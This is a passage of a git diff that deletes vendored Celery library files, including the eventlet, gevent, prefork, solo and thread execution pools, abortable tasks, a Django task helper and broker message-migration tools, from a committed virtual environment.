logger.isEnabledFor(logging.DEBUG) - self.on_start() - self._state = self.RUN - - def close(self): - self._state = self.CLOSE - self.on_close() - - def on_close(self): - pass - - def apply_async(self, target, args=None, kwargs=None, **options): - """Equivalent of the :func:`apply` built-in function. - - Callbacks should optimally return as soon as possible since - otherwise the thread which handles the result will get blocked. - """ - kwargs = {} if not kwargs else kwargs - args = [] if not args else args - if self._does_debug: - logger.debug('TaskPool: Apply %s (args:%s kwargs:%s)', - target, truncate(safe_repr(args), 1024), - truncate(safe_repr(kwargs), 1024)) - - return self.on_apply(target, args, kwargs, - waitforslot=self.putlocks, - callbacks_propagate=self.callbacks_propagate, - **options) - - def _get_info(self) -> Dict[str, Any]: - """ - Return configuration and statistics information. Subclasses should - augment the data as required. - - :return: The returned value must be JSON-friendly. - """ - return { - 'implementation': self.__class__.__module__ + ':' + self.__class__.__name__, - 'max-concurrency': self.limit, - } - - @property - def info(self): - return self._get_info() - - @property - def active(self): - return self._state == self.RUN - - @property - def num_processes(self): - return self.limit diff --git a/venv/Lib/site-packages/celery/concurrency/eventlet.py b/venv/Lib/site-packages/celery/concurrency/eventlet.py deleted file mode 100644 index f9c9da7f99470c84af70611cbb65c30f78f05a0a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/concurrency/eventlet.py +++ /dev/null @@ -1,181 +0,0 @@ -"""Eventlet execution pool.""" -import sys -from time import monotonic - -from greenlet import GreenletExit -from kombu.asynchronous import timer as _timer - -from celery import signals - -from . import base - -__all__ = ('TaskPool',) - -W_RACE = """\ -Celery module with %s imported before eventlet patched\ -""" -RACE_MODS = ('billiard.', 'celery.', 'kombu.') - - -#: Warn if we couldn't patch early enough, -#: and thread/socket depending celery modules have already been loaded. -for mod in (mod for mod in sys.modules if mod.startswith(RACE_MODS)): - for side in ('thread', 'threading', 'socket'): # pragma: no cover - if getattr(mod, side, None): - import warnings - warnings.warn(RuntimeWarning(W_RACE % side)) - - -def apply_target(target, args=(), kwargs=None, callback=None, - accept_callback=None, getpid=None): - kwargs = {} if not kwargs else kwargs - return base.apply_target(target, args, kwargs, callback, accept_callback, - pid=getpid()) - - -class Timer(_timer.Timer): - """Eventlet Timer.""" - - def __init__(self, *args, **kwargs): - from eventlet.greenthread import spawn_after - from greenlet import GreenletExit - super().__init__(*args, **kwargs) - - self.GreenletExit = GreenletExit - self._spawn_after = spawn_after - self._queue = set() - - def _enter(self, eta, priority, entry, **kwargs): - secs = max(eta - monotonic(), 0) - g = self._spawn_after(secs, entry) - self._queue.add(g) - g.link(self._entry_exit, entry) - g.entry = entry - g.eta = eta - g.priority = priority - g.canceled = False - return g - - def _entry_exit(self, g, entry): - try: - try: - g.wait() - except self.GreenletExit: - entry.cancel() - g.canceled = True - finally: - self._queue.discard(g) - - def clear(self): - queue = self._queue - while queue: - try: - queue.pop().cancel() - except (KeyError, self.GreenletExit): - pass - - def cancel(self, tref): - try: - tref.cancel() - except self.GreenletExit: - pass - - @property - def queue(self): - return self._queue - - -class TaskPool(base.BasePool): - """Eventlet Task Pool.""" - - Timer = Timer - - signal_safe = False - is_green = True - task_join_will_block = False - _pool = None - _pool_map = None - _quick_put = None - - def __init__(self, *args, **kwargs): - from eventlet import greenthread - from eventlet.greenpool import GreenPool - self.Pool = GreenPool - self.getcurrent = greenthread.getcurrent - self.getpid = lambda: id(greenthread.getcurrent()) - self.spawn_n = greenthread.spawn_n - - super().__init__(*args, **kwargs) - - def on_start(self): - self._pool = self.Pool(self.limit) - self._pool_map = {} - signals.eventlet_pool_started.send(sender=self) - self._quick_put = self._pool.spawn - self._quick_apply_sig = signals.eventlet_pool_apply.send - - def on_stop(self): - signals.eventlet_pool_preshutdown.send(sender=self) - if self._pool is not None: - self._pool.waitall() - signals.eventlet_pool_postshutdown.send(sender=self) - - def on_apply(self, target, args=None, kwargs=None, callback=None, - accept_callback=None, **_): - target = TaskPool._make_killable_target(target) - self._quick_apply_sig(sender=self, target=target, args=args, kwargs=kwargs,) - greenlet = self._quick_put( - apply_target, - target, args, - kwargs, - callback, - accept_callback, - self.getpid - ) - self._add_to_pool_map(id(greenlet), greenlet) - - def grow(self, n=1): - limit = self.limit + n - self._pool.resize(limit) - self.limit = limit - - def shrink(self, n=1): - limit = self.limit - n - self._pool.resize(limit) - self.limit = limit - - def terminate_job(self, pid, signal=None): - if pid in self._pool_map.keys(): - greenlet = self._pool_map[pid] - greenlet.kill() - greenlet.wait() - - def _get_info(self): - info = super()._get_info() - info.update({ - 'max-concurrency': self.limit, - 'free-threads': self._pool.free(), - 'running-threads': self._pool.running(), - }) - return info - - @staticmethod - def _make_killable_target(target): - def killable_target(*args, **kwargs): - try: - return target(*args, **kwargs) - except GreenletExit: - return (False, None, None) - return killable_target - - def _add_to_pool_map(self, pid, greenlet): - self._pool_map[pid] = greenlet - greenlet.link( - TaskPool._cleanup_after_job_finish, - self._pool_map, - pid - ) - - @staticmethod - def _cleanup_after_job_finish(greenlet, pool_map, pid): - del pool_map[pid] diff --git a/venv/Lib/site-packages/celery/concurrency/gevent.py b/venv/Lib/site-packages/celery/concurrency/gevent.py deleted file mode 100644 index fd58e91be8f11b82167a9d412da46782bd1f6eb9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/concurrency/gevent.py +++ /dev/null @@ -1,171 +0,0 @@ -"""Gevent execution pool.""" -import functools -import types -from time import monotonic - -from kombu.asynchronous import timer as _timer - -from . import base - -try: - from gevent import Timeout -except ImportError: - Timeout = None - -__all__ = ('TaskPool',) - -# pylint: disable=redefined-outer-name -# We cache globals and attribute lookups, so disable this warning. - - -def apply_target(target, args=(), kwargs=None, callback=None, - accept_callback=None, getpid=None, **_): - kwargs = {} if not kwargs else kwargs - return base.apply_target(target, args, kwargs, callback, accept_callback, - pid=getpid(), **_) - - -def apply_timeout(target, args=(), kwargs=None, callback=None, - accept_callback=None, getpid=None, timeout=None, - timeout_callback=None, Timeout=Timeout, - apply_target=base.apply_target, **rest): - kwargs = {} if not kwargs else kwargs - try: - with Timeout(timeout): - return apply_target(target, args, kwargs, callback, - accept_callback, getpid(), - propagate=(Timeout,), **rest) - except Timeout: - return timeout_callback(False, timeout) - - -class Timer(_timer.Timer): - - def __init__(self, *args, **kwargs): - from gevent import Greenlet, GreenletExit - - class _Greenlet(Greenlet): - cancel = Greenlet.kill - - self._Greenlet = _Greenlet - self._GreenletExit = GreenletExit - super().__init__(*args, **kwargs) - self._queue = set() - - def _enter(self, eta, priority, entry, **kwargs): - secs = max(eta - monotonic(), 0) - g = self._Greenlet.spawn_later(secs, entry) - self._queue.add(g) - g.link(self._entry_exit) - g.entry = entry - g.eta = eta - g.priority = priority - g.canceled = False - return g - - def _entry_exit(self, g): - try: - g.kill() - finally: - self._queue.discard(g) - - def clear(self): - queue = self._queue - while queue: - try: - queue.pop().kill() - except KeyError: - pass - - @property - def queue(self): - return self._queue - - -class TaskPool(base.BasePool): - """GEvent Pool.""" - - Timer = Timer - - signal_safe = False - is_green = True - task_join_will_block = False - _pool = None - _pool_map = None - _quick_put = None - - def __init__(self, *args, **kwargs): - from gevent import getcurrent, spawn_raw - from gevent.pool import Pool - self.Pool = Pool - self.getcurrent = getcurrent - self.getpid = lambda: id(getcurrent()) - self.spawn_n = spawn_raw - self.timeout = kwargs.get('timeout') - super().__init__(*args, **kwargs) - - def on_start(self): - self._pool = self.Pool(self.limit) - self._pool_map = {} - self._quick_put = self._pool.spawn - - def on_stop(self): - if self._pool is not None: - self._pool.join() - - def on_apply(self, target, args=None, kwargs=None, callback=None, - accept_callback=None, timeout=None, - timeout_callback=None, apply_target=apply_target, **_): - timeout = self.timeout if timeout is None else timeout - target = self._make_killable_target(target) - greenlet = self._quick_put(apply_timeout if timeout else apply_target, - target, args, kwargs, callback, accept_callback, - self.getpid, timeout=timeout, timeout_callback=timeout_callback) - self._add_to_pool_map(id(greenlet), greenlet) - greenlet.terminate = types.MethodType(_terminate, greenlet) - return greenlet - - def grow(self, n=1): - self._pool._semaphore.counter += n - self._pool.size += n - - def shrink(self, n=1): - self._pool._semaphore.counter -= n - self._pool.size -= n - - def terminate_job(self, pid, signal=None): - import gevent - - if pid in self._pool_map: - greenlet = self._pool_map[pid] - gevent.kill(greenlet) - - @property - def num_processes(self): - return len(self._pool) - - @staticmethod - def _make_killable_target(target): - def killable_target(*args, **kwargs): - from greenlet import GreenletExit - try: - return target(*args, **kwargs) - except GreenletExit: - return (False, None, None) - - return killable_target - - def _add_to_pool_map(self, pid, greenlet): - self._pool_map[pid] = greenlet - greenlet.link( - functools.partial(self._cleanup_after_job_finish, pid=pid, pool_map=self._pool_map), - ) - - @staticmethod - def _cleanup_after_job_finish(greenlet, pool_map, pid): - del pool_map[pid] - - -def _terminate(self, signal): - # Done in `TaskPool.terminate_job` - pass diff --git a/venv/Lib/site-packages/celery/concurrency/prefork.py b/venv/Lib/site-packages/celery/concurrency/prefork.py deleted file mode 100644 index aed83b8a29aab909f345d4e77a5b736082a572c9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/concurrency/prefork.py +++ /dev/null @@ -1,216 +0,0 @@ -"""Prefork execution pool. - -Pool implementation using :mod:`multiprocessing`. -""" -import os -import threading -import time - -from billiard import forking_enable -from billiard.common import REMAP_SIGTERM, TERM_SIGNAME -from billiard.pool import CLOSE, RUN -from billiard.pool import Pool as BlockingPool -from kombu.asynchronous import get_event_loop - -from celery import platforms, signals -from celery._state import _set_task_join_will_block, set_default_app -from celery.app import trace -from celery.concurrency.base import BasePool -from celery.utils.functional import noop -from celery.utils.log import get_logger - -from .asynpool import AsynPool - -__all__ = ('TaskPool', 'process_initializer', 'process_destructor') - -#: List of signals to reset when a child process starts. -WORKER_SIGRESET = { - 'SIGTERM', 'SIGHUP', 'SIGTTIN', 'SIGTTOU', 'SIGUSR1', -} - -#: List of signals to ignore when a child process starts. -if REMAP_SIGTERM: - WORKER_SIGIGNORE = {'SIGINT', TERM_SIGNAME} -else: - WORKER_SIGIGNORE = {'SIGINT'} - -logger = get_logger(__name__) -warning, debug = logger.warning, logger.debug - - -def process_initializer(app, hostname): - """Pool child process initializer. - - Initialize the child pool process to ensure the correct - app instance is used and things like logging works. - """ - # Each running worker gets SIGKILL by OS when main process exits. - platforms.set_pdeathsig('SIGKILL') - _set_task_join_will_block(True) - platforms.signals.reset(*WORKER_SIGRESET) - platforms.signals.ignore(*WORKER_SIGIGNORE) - platforms.set_mp_process_title('celeryd', hostname=hostname) - # This is for Windows and other platforms not supporting - # fork(). Note that init_worker makes sure it's only - # run once per process. - app.loader.init_worker() - app.loader.init_worker_process() - logfile = os.environ.get('CELERY_LOG_FILE') or None - if logfile and '%i' in logfile.lower(): - # logfile path will differ so need to set up logging again. - app.log.already_setup = False - app.log.setup(int(os.environ.get('CELERY_LOG_LEVEL', 0) or 0), - logfile, - bool(os.environ.get('CELERY_LOG_REDIRECT', False)), - str(os.environ.get('CELERY_LOG_REDIRECT_LEVEL')), - hostname=hostname) - if os.environ.get('FORKED_BY_MULTIPROCESSING'): - # pool did execv after fork - trace.setup_worker_optimizations(app, hostname) - else: - app.set_current() - set_default_app(app) - app.finalize() - trace._tasks = app._tasks # enables fast_trace_task optimization. - # rebuild execution handler for all tasks. - from celery.app.trace import build_tracer - for name, task in app.tasks.items(): - task.__trace__ = build_tracer(name, task, app.loader, hostname, - app=app) - from celery.worker import state as worker_state - worker_state.reset_state() - signals.worker_process_init.send(sender=None) - - -def process_destructor(pid, exitcode): - """Pool child process destructor. - - Dispatch the :signal:`worker_process_shutdown` signal. - """ - signals.worker_process_shutdown.send( - sender=None, pid=pid, exitcode=exitcode, - ) - - -class TaskPool(BasePool): - """Multiprocessing Pool implementation.""" - - Pool = AsynPool - BlockingPool = BlockingPool - - uses_semaphore = True - write_stats = None - - def on_start(self): - forking_enable(self.forking_enable) - Pool = (self.BlockingPool if self.options.get('threads', True) - else self.Pool) - proc_alive_timeout = ( - self.app.conf.worker_proc_alive_timeout if self.app - else None - ) - P = self._pool = Pool(processes=self.limit, - initializer=process_initializer, - on_process_exit=process_destructor, - enable_timeouts=True, - synack=False, - proc_alive_timeout=proc_alive_timeout, - **self.options) - - # Create proxy methods - self.on_apply = P.apply_async - self.maintain_pool = P.maintain_pool - self.terminate_job = P.terminate_job - self.grow = P.grow - self.shrink = P.shrink - self.flush = getattr(P, 'flush', None) # FIXME add to billiard - - def restart(self): - self._pool.restart() - self._pool.apply_async(noop) - - def did_start_ok(self): - return self._pool.did_start_ok() - - def register_with_event_loop(self, loop): - try: - reg = self._pool.register_with_event_loop - except AttributeError: - return - return reg(loop) - - def on_stop(self): - """Gracefully stop the pool.""" - if self._pool is not None and self._pool._state in (RUN, CLOSE): - self._pool.close() - - # Keep firing timers (for heartbeats on async transports) while - # the pool drains. If not using an async transport, no hub exists - # and the timer thread is not created. - hub = get_event_loop() - if hub is not None: - shutdown_event = threading.Event() - - def fire_timers_loop(): - while not shutdown_event.is_set(): - try: - hub.fire_timers() - except Exception: - logger.warning( - "Exception in timer thread during prefork on_stop()", - exc_info=True, - ) - # 0.5 seconds was chosen as a balance between joining quickly - # after the pool join is complete and sleeping long enough to - # avoid excessive CPU usage. - time.sleep(0.5) - - timer_thread = threading.Thread( - target=fire_timers_loop, - daemon=True, - name="prefork-timer-shutdown", - ) - timer_thread.start() - - try: - self._pool.join() - finally: - shutdown_event.set() - timer_thread.join(timeout=1.0) - - if timer_thread.is_alive(): - logger.warning( - "Timer thread in prefork on_stop() did not terminate cleanly" - ) - else: - self._pool.join() - - self._pool = None - - def on_terminate(self): - """Force terminate the pool.""" - if self._pool is not None: - self._pool.terminate() - self._pool = None - - def on_close(self): - if self._pool is not None and self._pool._state == RUN: - self._pool.close() - - def _get_info(self): - write_stats = getattr(self._pool, 'human_write_stats', None) - info = super()._get_info() - info.update({ - 'max-concurrency': self.limit, - 'processes': [p.pid for p in self._pool._pool], - 'max-tasks-per-child': self._pool._maxtasksperchild or 'N/A', - 'put-guarded-by-semaphore': self.putlocks, - 'timeouts': (self._pool.soft_timeout or 0, - self._pool.timeout or 0), - 'writes': write_stats() if write_stats is not None else 'N/A', - }) - return info - - @property - def num_processes(self): - return self._pool._processes diff --git a/venv/Lib/site-packages/celery/concurrency/solo.py b/venv/Lib/site-packages/celery/concurrency/solo.py deleted file mode 100644 index e7e9c7f3ba4f9d532dca84637c6020e584066320..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/concurrency/solo.py +++ /dev/null @@ -1,31 +0,0 @@ -"""Single-threaded execution pool.""" -import os - -from celery import signals - -from .base import BasePool, apply_target - -__all__ = ('TaskPool',) - - -class TaskPool(BasePool): - """Solo task pool (blocking, inline, fast).""" - - body_can_be_buffer = True - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self.on_apply = apply_target - self.limit = 1 - signals.worker_process_init.send(sender=None) - - def _get_info(self): - info = super()._get_info() - info.update({ - 'max-concurrency': 1, - 'processes': [os.getpid()], - 'max-tasks-per-child': None, - 'put-guarded-by-semaphore': True, - 'timeouts': (), - }) - return info diff --git a/venv/Lib/site-packages/celery/concurrency/thread.py b/venv/Lib/site-packages/celery/concurrency/thread.py deleted file mode 100644 index bcc7c11647c1b29b00b95eb3be7ba904650e5c44..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/concurrency/thread.py +++ /dev/null @@ -1,64 +0,0 @@ -"""Thread execution pool.""" -from __future__ import annotations - -from concurrent.futures import Future, ThreadPoolExecutor, wait -from typing import TYPE_CHECKING, Any, Callable - -from .base import BasePool, apply_target - -__all__ = ('TaskPool',) - -if TYPE_CHECKING: - from typing import TypedDict - - PoolInfo = TypedDict('PoolInfo', {'max-concurrency': int, 'threads': int}) - - # `TargetFunction` should be a Protocol that represents fast_trace_task and - # trace_task_ret. - TargetFunction = Callable[..., Any] - - -class ApplyResult: - def __init__(self, future: Future) -> None: - self.f = future - self.get = self.f.result - - def wait(self, timeout: float | None = None) -> None: - wait([self.f], timeout) - - -class TaskPool(BasePool): - """Thread Task Pool.""" - limit: int - - body_can_be_buffer = True - signal_safe = False - - def __init__(self, *args: Any, **kwargs: Any) -> None: - super().__init__(*args, **kwargs) - self.executor = ThreadPoolExecutor(max_workers=self.limit) - - def on_stop(self) -> None: - self.executor.shutdown() - super().on_stop() - - def on_apply( - self, - target: TargetFunction, - args: tuple[Any, ...] | None = None, - kwargs: dict[str, Any] | None = None, - callback: Callable[..., Any] | None = None, - accept_callback: Callable[..., Any] | None = None, - **_: Any - ) -> ApplyResult: - f = self.executor.submit(apply_target, target, args, kwargs, - callback, accept_callback) - return ApplyResult(f) - - def _get_info(self) -> PoolInfo: - info = super()._get_info() - info.update({ - 'max-concurrency': self.limit, - 'threads': len(self.executor._threads) - }) - return info diff --git a/venv/Lib/site-packages/celery/contrib/__init__.py b/venv/Lib/site-packages/celery/contrib/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/celery/contrib/abortable.py b/venv/Lib/site-packages/celery/contrib/abortable.py deleted file mode 100644 index 8cb164d7bf097fbacdcd661132ba32a7c04fe02f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/abortable.py +++ /dev/null @@ -1,165 +0,0 @@ -"""Abortable Tasks. - -Abortable tasks overview -========================= - -For long-running :class:`Task`'s, it can be desirable to support -aborting during execution. Of course, these tasks should be built to -support abortion specifically. - -The :class:`AbortableTask` serves as a base class for all :class:`Task` -objects that should support abortion by producers. - -* Producers may invoke the :meth:`abort` method on - :class:`AbortableAsyncResult` instances, to request abortion. - -* Consumers (workers) should periodically check (and honor!) the - :meth:`is_aborted` method at controlled points in their task's - :meth:`run` method. The more often, the better. - -The necessary intermediate communication is dealt with by the -:class:`AbortableTask` implementation. - -Usage example -------------- - -In the consumer: - -.. code-block:: python - - from celery.contrib.abortable import AbortableTask - from celery.utils.log import get_task_logger - - from proj.celery import app - - logger = get_logger(__name__) - - @app.task(bind=True, base=AbortableTask) - def long_running_task(self): - results = [] - for i in range(100): - # check after every 5 iterations... - # (or alternatively, check when some timer is due) - if not i % 5: - if self.is_aborted(): - # respect aborted state, and terminate gracefully. - logger.warning('Task aborted') - return - value = do_something_expensive(i) - results.append(y) - logger.info('Task complete') - return results - -In the producer: - -.. code-block:: python - - import time - - from proj.tasks import MyLongRunningTask - - def myview(request): - # result is of type AbortableAsyncResult - result = long_running_task.delay() - - # abort the task after 10 seconds - time.sleep(10) - result.abort() - -After the `result.abort()` call, the task execution isn't -aborted immediately. In fact, it's not guaranteed to abort at all. -Keep checking `result.state` status, or call `result.get(timeout=)` to -have it block until the task is finished. - -.. note:: - - In order to abort tasks, there needs to be communication between the - producer and the consumer. This is currently implemented through the - database backend. Therefore, this class will only work with the - database backends. -""" -from celery import Task -from celery.result import AsyncResult - -__all__ = ('AbortableAsyncResult', 'AbortableTask') - - -""" -Task States ------------ - -.. state:: ABORTED - -ABORTED -~~~~~~~ - -Task is aborted (typically by the producer) and should be -aborted as soon as possible. - -""" -ABORTED = 'ABORTED' - - -class AbortableAsyncResult(AsyncResult): - """Represents an abortable result. - - Specifically, this gives the `AsyncResult` a :meth:`abort()` method, - that sets the state of the underlying Task to `'ABORTED'`. - """ - - def is_aborted(self): - """Return :const:`True` if the task is (being) aborted.""" - return self.state == ABORTED - - def abort(self): - """Set the state of the task to :const:`ABORTED`. - - Abortable tasks monitor their state at regular intervals and - terminate execution if so. - - Warning: - Be aware that invoking this method does not guarantee when the - task will be aborted (or even if the task will be aborted at all). - """ - # TODO: store_result requires all four arguments to be set, - # but only state should be updated here - return self.backend.store_result(self.id, result=None, - state=ABORTED, traceback=None) - - -class AbortableTask(Task): - """Task that can be aborted. - - This serves as a base class for all :class:`Task`'s - that support aborting during execution. - - All subclasses of :class:`AbortableTask` must call the - :meth:`is_aborted` method periodically and act accordingly when - the call evaluates to :const:`True`. - """ - - abstract = True - - def AsyncResult(self, task_id): - """Return the accompanying AbortableAsyncResult instance.""" - return AbortableAsyncResult(task_id, backend=self.backend) - - def is_aborted(self, **kwargs): - """Return true if task is aborted. - - Checks against the backend whether this - :class:`AbortableAsyncResult` is :const:`ABORTED`. - - Always return :const:`False` in case the `task_id` parameter - refers to a regular (non-abortable) :class:`Task`. - - Be aware that invoking this method will cause a hit in the - backend (for example a database query), so find a good balance - between calling it regularly (for responsiveness), but not too - often (for performance). - """ - task_id = kwargs.get('task_id', self.request.id) - result = self.AsyncResult(task_id) - if not isinstance(result, AbortableAsyncResult): - return False - return result.is_aborted() diff --git a/venv/Lib/site-packages/celery/contrib/django/__init__.py b/venv/Lib/site-packages/celery/contrib/django/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/celery/contrib/django/task.py b/venv/Lib/site-packages/celery/contrib/django/task.py deleted file mode 100644 index b0dc667755368753152d07ce7681e2884e343ede..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/django/task.py +++ /dev/null @@ -1,21 +0,0 @@ -import functools - -from django.db import transaction - -from celery.app.task import Task - - -class DjangoTask(Task): - """ - Extend the base :class:`~celery.app.task.Task` for Django. - - Provide a nicer API to trigger tasks at the end of the DB transaction. - """ - - def delay_on_commit(self, *args, **kwargs) -> None: - """Call :meth:`~celery.app.task.Task.delay` with Django's ``on_commit()``.""" - transaction.on_commit(functools.partial(self.delay, *args, **kwargs)) - - def apply_async_on_commit(self, *args, **kwargs) -> None: - """Call :meth:`~celery.app.task.Task.apply_async` with Django's ``on_commit()``.""" - transaction.on_commit(functools.partial(self.apply_async, *args, **kwargs)) diff --git a/venv/Lib/site-packages/celery/contrib/migrate.py b/venv/Lib/site-packages/celery/contrib/migrate.py deleted file mode 100644 index dd77801762fc09e33d16842a0bdc8c681c074001..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/contrib/migrate.py +++ /dev/null @@ -1,416 +0,0 @@ -"""Message migration tools (Broker <-> Broker).""" -import socket -from functools import partial -from itertools import cycle, islice - -from kombu import Queue, eventloop -from kombu.common import maybe_declare -from kombu.utils.encoding import ensure_bytes - -from celery.app import app_or_default -from celery.utils.nodenames import worker_direct -from celery.utils.text import str_to_list - -__all__ = ( - 'StopFiltering', 'State', 'republish', 'migrate_task', - 'migrate_tasks', 'move', 'task_id_eq', 'task_id_in', - 'start_filter', 'move_task_by_id', 'move_by_idmap', - 'move_by_taskmap', 'move_direct', 'move_direct_by_id', -) - -MOVING_PROGRESS_FMT = """\ -Moving task {state.filtered}/{state.strtotal}: \ -{body[task]}[{body[id]}]\ -""" - - -class StopFiltering(Exception): - """Semi-predicate used to signal filter stop.""" - - -class State: - """Migration progress state.""" - - count = 0 - filtered = 0 - total_apx = 0 - - @property - def strtotal(self): - if not self.total_apx: - return '?' - return str(self.total_apx) - - def __repr__(self): - if self.filtered: - return f'^{self.filtered}' - return f'{self.count}/{self.strtotal}' - - -def republish(producer, message, exchange=None, routing_key=None, - remove_props=None): - """Republish message.""" - if not remove_props: - remove_props = ['application_headers', 'content_type', - 'content_encoding', 'headers'] - body = ensure_bytes(message.body) # use raw message body. - info, headers, props = (message.delivery_info, - message.headers, message.properties) - exchange = info['exchange'] if exchange is None else exchange - routing_key = info['routing_key'] if routing_key is None else routing_key - ctype, enc = message.content_type, message.content_encoding - # remove compression header, as this will be inserted again - # when the message is recompressed. - compression = headers.pop('compression', None) - - expiration = props.pop('expiration', None) - # ensure expiration is a float - expiration = float(expiration) if expiration is not None else None - - for key in remove_props: - props.pop(key, None) - - producer.publish(ensure_bytes(body), exchange=exchange, - routing_key=routing_key, compression=compression, - headers=headers, content_type=ctype, - content_encoding=enc, expiration=expiration, - **props) - - -def migrate_task(producer, body_, message, queues=None): - """Migrate single task message.""" - info = message.delivery_info - queues = {} if queues is None else queues - republish(producer, message, - exchange=queues.get(info['exchange']), - routing_key=queues.get(info['routing_key'])) - - -def filter_callback(callback, tasks): - - def filtered(body, message): - if tasks and body['task'] not in tasks: - return - - return callback(body, message) - return filtered - - -def migrate_tasks(source, dest, migrate=migrate_task, app=None, - queues=None, **kwargs): - """Migrate tasks from one broker to another.""" - app = app_or_default(app) - queues = prepare_queues(queues) - producer = app.amqp.Producer(dest, auto_declare=False) - migrate = partial(migrate, producer, queues=queues) - - def on_declare_queue(queue): - new_queue = queue(producer.channel) - new_queue.name = queues.get(queue.name, queue.name) - if new_queue.routing_key == queue.name: - new_queue.routing_key = queues.get(queue.name, - new_queue.routing_key) - if new_queue.exchange.name == queue.name: - new_queue.exchange.name = queues.get(queue.name, queue.name) - new_queue.declare() - - return start_filter(app, source, migrate, queues=queues, - on_declare_queue=on_declare_queue, **kwargs) - - -def _maybe_queue(app, q): - if isinstance(q, str): - return app.amqp.queues[q] - return q - - -def move(predicate, connection=None, exchange=None, routing_key=None, - source=None, app=None, callback=None, limit=None, transform=None, - **kwargs): - """Find tasks by filtering them and move the tasks to a new queue. - - Arguments: - predicate (Callable): Filter function used to decide the messages - to move. Must accept the standard signature of ``(body, message)`` - used by Kombu consumer callbacks. If the predicate wants the - message to be moved it must return either: - - 1) a tuple of ``(exchange, routing_key)``, or - - 2) a :class:`~kombu.entity.Queue` instance, or - - 3) any other true value means the specified - ``exchange`` and ``routing_key`` arguments will be used. - connection (kombu.Connection): Custom connection to use. - source: List[Union[str, kombu.Queue]]: Optional list of source - queues to use instead of the default (queues - in :setting:`task_queues`). This list can also contain - :class:`~kombu.entity.Queue` instances. - exchange (str, kombu.Exchange): Default destination exchange. - routing_key (str): Default destination routing key. - limit (int): Limit number of messages to filter. - callback (Callable): Callback called after message moved, - with signature ``(state, body, message)``. - transform (Callable): Optional function to transform the return - value (destination) of the filter function. - - Also supports the same keyword arguments as :func:`start_filter`. - - To demonstrate, the :func:`move_task_by_id` operation can be implemented - like this: - - .. code-block:: python - - def is_wanted_task(body, message): - if body['id'] == wanted_id: - return Queue('foo', exchange=Exchange('foo'), - routing_key='foo') - - move(is_wanted_task) - - or with a transform: - - .. code-block:: python - - def transform(value): - if isinstance(value, str): - return Queue(value, Exchange(value), value) - return value - - move(is_wanted_task, transform=transform) - - Note: - The predicate may also return a tuple of ``(exchange, routing_key)`` - to specify the destination to where the task should be moved, - or a :class:`~kombu.entity.Queue` instance. - Any other true value means that the task will be moved to the - default exchange/routing_key. - """ - app = app_or_default(app) - queues = [_maybe_queue(app, queue) for queue in source or []] or None - with app.connection_or_acquire(connection, pool=False) as conn: - producer = app.amqp.Producer(conn) - state = State() - - def on_task(body, message): - ret = predicate(body, message) - if ret: - if transform: - ret = transform(ret) - if isinstance(ret, Queue): - maybe_declare(ret, conn.default_channel) - ex, rk = ret.exchange.name, ret.routing_key - else: - ex, rk = expand_dest(ret, exchange, routing_key) - republish(producer, message, - exchange=ex, routing_key=rk) - message.ack() - - state.filtered += 1 - if callback: - callback(state, body, message) - if limit and state.filtered >= limit: - raise StopFiltering() - - return start_filter(app, conn, on_task, consume_from=queues, **kwargs) - - -def expand_dest(ret, exchange, routing_key): - try: - ex, rk = ret - except (TypeError, ValueError): - ex, rk = exchange, routing_key - return ex, rk - - -def task_id_eq(task_id, body, message): - """Return true if task id equals task_id'.""" - return body['id'] == task_id - - -def task_id_in(ids, body, message): - """Return true if task id is member of set ids'.""" - return body['id'] in ids - - -def prepare_queues(queues): - if isinstance(queues, str): - queues = queues.split(',') - if isinstance(queues, list): - queues = dict(tuple(islice(cycle(q.split(':')), None, 2)) - for q in queues) - if queues is None: - queues = {} - return queues - - -class Filterer: - - def __init__(self, app, conn, filter, - limit=None, timeout=1.0, - ack_messages=False, tasks=None, queues=None, - callback=None, forever=False, on_declare_queue=None, - consume_from=None, state=None, accept=None, **kwargs): - self.app = app - self.conn = conn - self.filter = filter - self.limit = limit - self.timeout = timeout - self.ack_messages = ack_messages - self.tasks = set(str_to_list(tasks) or []) - self.queues = prepare_queues(queues) - self.callback = callback - self.forever = forever - self.on_declare_queue = on_declare_queue - self.consume_from = [ - _maybe_queue(self.app, q) - for q in consume_from or list(self.queues) - ] - self.state = state or State() - self.accept = accept - - def start(self): - # start migrating messages. - with self.prepare_consumer(self.create_consumer()): - try: - for _ in eventloop(self.conn, # pragma: no cover - timeout=self.timeout, - ignore_timeouts=self.forever): - pass - except socket.timeout: - pass - except StopFiltering: - pass - return self.state - - def update_state(self, body, message): - self.state.count += 1 - if self.limit and self.state.count >= self.limit: - raise StopFiltering() - - def ack_message(self, body, message): - message.ack() - - def create_consumer(self): - return self.app.amqp.TaskConsumer( - self.conn, - queues=self.consume_from, - accept=self.accept, - ) - - def prepare_consumer(self, consumer): - filter = self.filter - update_state = self.update_state - ack_message = self.ack_message - if self.tasks: - filter = filter_callback(filter, self.tasks) - update_state = filter_callback(update_state, self.tasks) - ack_message = filter_callback(ack_message, self.tasks) - consumer.register_callback(filter) - consumer.register_callback(update_state) - if self.ack_messages: - consumer.register_callback(self.ack_message) - if self.callback is not None: - callback = partial(self.callback, self.state) - if self.tasks: - callback = filter_callback(callback, self.tasks) - consumer.register_callback(callback) - self.declare_queues(consumer) - return consumer - - def declare_queues(self, consumer): - # declare all queues on the new broker. - for queue in consumer.queues: - if self.queues and queue.name not in self.queues: - continue - if self.on_declare_queue is not None: - self.on_declare_queue(queue) - try: - _, mcount, _ = queue( - consumer.channel).queue_declare(passive=True) - if mcount: - self.state.total_apx += mcount - except self.conn.channel_errors: - pass - - -def start_filter(app, conn, filter, limit=None, timeout=1.0, - ack_messages=False, tasks=None, queues=None, - callback=None, forever=False, on_declare_queue=None, - consume_from=None, state=None, accept=None, **kwargs): - """Filter tasks.""" 